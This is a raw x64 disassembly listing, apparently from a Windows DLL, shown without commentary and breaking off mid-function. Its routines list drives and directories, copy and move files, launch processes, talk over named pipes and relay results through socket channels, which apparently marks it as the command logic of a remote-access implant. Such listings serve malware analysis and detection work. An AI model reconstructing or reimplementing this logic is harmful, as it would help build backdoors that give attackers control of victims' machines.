mov dword [rax + 4], r15d
mov qword [0x180049500], rax
mov dword [0x180049508], r8d
call fcn.18000d044
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000d074
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000d074
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000cfb8
lea rcx, [rsp + 0x20]
call fcn.1800161e4
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d1b8
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000d020
jmp 0x180011859
mov ecx, 0x3d
jmp 0x180011832
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000e66c
mov rcx, rbp
call fcn.1800160e0
mov rcx, rdi
call fcn.1800204e0
jmp 0x180011861
mov rdx, rsi
mov ecx, 0x28
call fcn.18000e66c
mov rcx, rbp
call fcn.1800160e0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180049500]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x1800118b1
cmp dword [rbx], edi
jne 0x1800118ad
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.1800204e0
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x18001189c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015fec
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800161e8
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800161e8
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180016284
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180016284
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180011b16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000e590
mov rcx, r14
call fcn.1800160e0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.18001639c
mov rcx, rax
mov rbx, rax
call fcn.180012094
mov rcx, rbx
test eax, eax
je 0x180011b89
lea rdx, [0x180011fb0]
call fcn.180019204
mov rcx, rbx
call fcn.180021388
jmp 0x180011b8e
call fcn.180021268
mov rcx, rbx
call fcn.18001f244
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180016104
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000d044
lea rcx, [rsp + 0x38]
call fcn.180016114
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000d074
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x180032774]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d14c
lea rcx, [rsp + 0x20]
call fcn.1800161e4
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d1b8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d020
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
mov rdi, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov ebx, edx
call fcn.18001f284
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.18001f530
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
call fcn.180016104
lea rcx, [rsp + 0x78]
call fcn.180016114
lea rcx, [rsp + 0x78]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.180016284
lea rcx, [rsp + 0x60]
mov edx, 0x200000
call fcn.18000d044
lea rcx, [rsp + 0x60]
mov edx, ebx
call fcn.18000d074
lea rdx, [0x180032780]
mov r8d, r15d
mov rcx, rsi
call fcn.1800212c0
test eax, eax
jne 0x180011cf9
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x180032784]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18002084c
lea rdx, [0x1800326f0]
lea rcx, [rsp + 0x60]
mov r8, rsi
call fcn.18000d14c
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180011d68
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000e67c
lea rcx, [rsp + 0x60]
call fcn.1800161e4
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d1b8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.18001f244
jmp 0x180011e81
mov rcx, rsi
call fcn.18001f244
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x4c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x60], 0x10
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
lea r11, [rbp - 0x34]
je 0x180011de3
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x50]
movzx r9d, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d14c
jmp 0x180011e3f
mov eax, dword [rbp - 0x40]
movzx r8d, word [rsp + 0x50]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
mov qword [rsp + 0x48], r11
mov dword [rbp + 0x118], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x11c], eax
movzx eax, word [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x118]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d14c
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180011d70
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x60]
call fcn.1800161e4
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d1b8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x60]
call fcn.18000d020
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.18001639c
mov rcx, rax
mov rbx, rax
call fcn.180021340
mov rcx, rbx
call fcn.18001f244
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015fec
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800161e8
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800161e8
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180016284
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180016284
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180011f8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000e590
mov rcx, r14
call fcn.1800160e0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov r14, rcx
mov ecx, r9d
mov edi, r9d
mov ebx, r8d
mov esi, edx
call fcn.18001e118
mov r15d, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, r15d
call fcn.18001f530
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], r15d
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r15d, r15d
lea r9, [rbp - 0x49]
lea r8, [rbp - 0x29]
mov edx, edi
mov ecx, ebx
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r15w
mov qword [rbp + 0x2f], r15
mov qword [rbp + 0x37], r15
mov qword [rbp + 0x27], r15
call fcn.18001bc30
test eax, eax
jne 0x1800124af
mov ecx, edi
call fcn.18001e148
jmp 0x1800124f1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x39]
mov rdx, qword [rbp - 0x49]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x49]
mov r9, r14
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], esi
call fcn.180013728
mov ecx, edi
call fcn.18001e148
lea rcx, [rbp - 0x49]
call fcn.180014548
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x60
mov ebx, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rax - 0x28]
call fcn.180016104
lea rcx, [rsp + 0x40]
call fcn.180016114
lea rcx, [rsp + 0x40]
mov edi, eax
call fcn.180016114
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
mov ebp, eax
call fcn.18001cd6c
mov rsi, rax
test rax, rax
jne 0x18001257a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rsi + 0x21]
mov edx, edi
mov r8d, eax
call fcn.18000e59c
jmp 0x1800125e2
mov rcx, rax
call fcn.180019170
test ebx, ebx
je 0x180012598
test eax, eax
je 0x1800125a1
mov ecx, reloc.WS2_32.dll_select
mov edx, edi
call fcn.18000e590
jmp 0x1800125e2
test eax, eax
jne 0x1800125a1
lea ecx, [rax + 0x13]
jmp 0x18001258f
lea rcx, [rsp + 0x40]
call fcn.1800161e4
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.180016068
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov r8d, edi
mov rdx, rsi
mov r9, rax
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebx
call fcn.180013728
mov rcx, rsi
call fcn.18001c754
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call 0x180012510
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call 0x180012414
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.180015fec
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.1800161e8
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180016104
lea rcx, [rsp + 0x70]
call fcn.18001624c
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.18001624c
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.180016114
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.180016284
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.180016114
xor esi, esi
mov edi, eax
test eax, eax
je 0x1800127a0
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.1800161e8
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.180016068
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.1800161e4
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.180012818
mov rcx, rbp
call fcn.1800160e0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ecx, 0xc00
mov r12d, r8d
mov ebx, edx
call fcn.180015fec
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov rsi, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rsi
mov r15, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rsi
mov rbp, rax
call fcn.1800161e8
lea rcx, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180016104
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r15
call fcn.180016284
xor edi, edi
test eax, eax
jne 0x180012a38
mov rcx, rsi
call fcn.1800160e0
jmp 0x180012ada
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, rbp
call fcn.180016284
test eax, eax
je 0x180012a2b
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r14
call fcn.180016284
test eax, eax
je 0x180012a2b
lea rax, [rsp + 0x58]
mov r9, r14
mov r8, rbp
mov rdx, r15
mov ecx, r12d
mov qword [rsp + 0x20], rax
call fcn.18001bc98
test eax, eax
je 0x180012ac8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.1800161e4
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.180016068
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x58]
mov r9, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.180013728
mov rcx, rsi
call fcn.1800160e0
lea rcx, [rsp + 0x58]
call fcn.180014548
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 0x41]
call fcn.180016104
lea rcx, [rbp - 0x41]
call fcn.180016114
lea rcx, [rbp - 0x41]
mov ebx, eax
call fcn.180016068
lea rcx, [rbp - 0x41]
mov rsi, rax
call fcn.1800161e4
mov r15d, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, r15d
mov r14d, eax
call fcn.18001f530
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], r15d
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r15d, r15d
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
lea edx, [r15 + 1]
mov ecx, edi
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r15w
mov qword [rbp + 0x2f], r15
mov qword [rbp + 0x37], r15
mov qword [rbp + 0x27], r15
mov dword [rsp + 0x20], ebx
call fcn.18001bcfc
test eax, eax
je 0x180012bed
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x59]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x59]
mov r9, rsi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.180013728
lea rcx, [rbp - 0x59]
call fcn.180014548
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180049540]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.18001624c
movzx eax, ax
jmp 0x1800145b9
cmp dword [rbx], eax
jne 0x1800145b5
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x1800145a8
call fcn.180014b1c
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rdi, rcx
mov r14d, r8d
mov ebx, edx
mov esi, 0x3f
lea rcx, [rbp - 0x48]
xor edx, edx
mov r8d, esi
movzx r15d, r9w
mov byte [rbp - 0x49], 0
call fcn.18001f530
lea rcx, [rbp - 8]
mov r8d, esi
xor edx, edx
mov byte [rbp - 9], 0
call fcn.18001f530
lea rcx, [rbp - 0x61]
mov r8d, ebx
mov rdx, rdi
call fcn.180016104
lea rcx, [rbp - 0x61]
call fcn.180016114
lea rcx, [rbp - 0x61]
mov r12d, eax
call fcn.18001624c
lea rcx, [rbp - 0x61]
movzx r13d, ax
call fcn.18001624c
mov ebx, 0x40
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, ebx
movzx esi, ax
call fcn.180016284
test eax, eax
je 0x1800146f8
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x61]
mov r8d, ebx
call fcn.180016284
test eax, eax
je 0x1800146f8
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x49]
mov r8d, edi
call fcn.1800147a8
test eax, eax
jne 0x1800146d0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x180014696
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e590
jmp 0x1800146f8
test esi, esi
je 0x1800146df
mov rcx, qword [rbp - 0x69]
mov edx, esi
call fcn.1800148d8
mov rcx, qword [rbp - 0x69]
lea r9, [rbp - 9]
mov r8d, r13d
mov edx, r12d
mov word [rsp + 0x20], r15w
call fcn.180014844
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x180049540]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000d044
jmp 0x180014761
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x4a]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000d14c
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180014741
call fcn.1800161e4
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d1b8
mov r8d, reloc.WS2_32.dll_sendto
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000d020
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x180049570]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x180014f2b
cmp dword [rcx], eax
je 0x180014f3f
lea r8, [0x18004a470]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x180014f5c
jmp 0x180014f21
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x180049560], 0
mov rdi, r8
mov r14d, edx
mov r12, rcx
jne 0x180014fab
mov ecx, 4
call fcn.18001b434
mov ecx, eax
call fcn.18001f284
mov qword [0x180049560], rax
mov r13d, dword [r12]
sub r14d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x180049590]
mov esi, eax
lea rdx, [0x180049570]
cmp dword [rbx - 0x20], esi
jne 0x180015096
cmp dword [rbx + 0x28], 1
jne 0x180015096
movsxd rax, ebp
test r14d, r14d
jle 0x180015002
lea r15, [rdx + 8]
lea rcx, [rax + rax*2]
mov r8d, r14d
shl rcx, 5
lea rdx, [r12 + 4]
add r15, rcx
jmp 0x180015016
lea r15, [rax + rax*2]
xor r8d, r8d
shl r15, 5
add r15, 8
add r15, rdx
xor edx, edx
mov rcx, r15
call qword [rbx]
test eax, eax
je 0x1800150a6
mov rax, qword [0x180049560]
mov edx, 0x493e0
mov rcx, r15
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x18001505d
mov ecx, 4
call fcn.18001b434
mov rdx, qword [0x180049560]
mov rcx, r15
lea r8d, [rax - 4]
add rdx, 4
call qword [rbx - 8]
jmp 0x180015060
or eax, 0xffffffff
test eax, eax
jle 0x180015078
lea edx, [rax + 4]
mov rcx, qword [0x180049560]
mov r8d, ntohs
call rdi
jmp 0x18001508f
jne 0x180015081
mov edx, 4
jmp 0x180015067
test eax, eax
jns 0x18001508f
mov rdx, rdi
mov ecx, esi
call 0x18001535c
lea rdx, [0x180049570]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x1800150b0
jmp 0x180014fce
mov rdx, rdi
mov ecx, esi
call 0x18001535c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp 0x18001535c
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rdi, rdx
xor ebx, ebx
lea rax, [0x1800495b8]
cmp dword [rax - 0x48], ecx
jne 0x180015380
cmp dword [rax], 1
je 0x180015394
lea rdx, [0x18004a4b8]
add rax, 0x60
inc ebx
cmp rax, rdx
jge 0x1800153d9
jmp 0x180015376
call qword [sym.imp.WS2_32.dll_htonl]
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 7]
mov dword [rsp + 0x30], eax
call rdi
movsxd rax, ebx
lea rdi, [0x180049570]
lea rbx, [rax + rax*2]
lea rcx, [rdi + 8]
shl rbx, 5
add rcx, rbx
call qword [rbx + rdi + 0x28]
and dword [rbx + rdi], 0
and dword [rbx + rdi + 0x48], 0
and dword [rbx + rdi + 0x5c], 0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rdx, r8
jmp 0x1800155c4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x3a98]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jae 0x180015661
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18001569a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x18001564a
mov edx, 0x2710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x180015655
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x1800155fa
jmp 0x180015665
mov rbx, qword [rbp + 0x77]
cmp rbx, 0xffffffffffffffff
jne 0x18001569a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x79
jne 0x180015683
lea ecx, [rbx + 5]
call fcn.18000e65c
jmp 0x180015740
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e590
jmp 0x180015740
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x77], 2
